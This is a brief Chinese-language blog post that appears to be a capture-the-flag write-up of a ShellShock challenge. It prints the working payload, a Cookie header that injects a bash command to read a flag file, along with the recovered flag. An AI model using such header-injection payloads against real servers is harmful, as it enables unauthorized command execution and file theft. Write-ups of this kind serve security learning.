217's Blog

每週更新服務器提醒了我們應該試試一周內的漏洞
而最近最有名的漏洞就是 ShellShock 了
在 Cookie 中塞入 () { :; }; echo Content-type:text/plain;echo;/bin/cat ../flag.txt 就可以成功獲得 flag

Flag: ISG{HaVE_7o_UpDAT3_mY_SeRVeR_M0RE_oFT3n}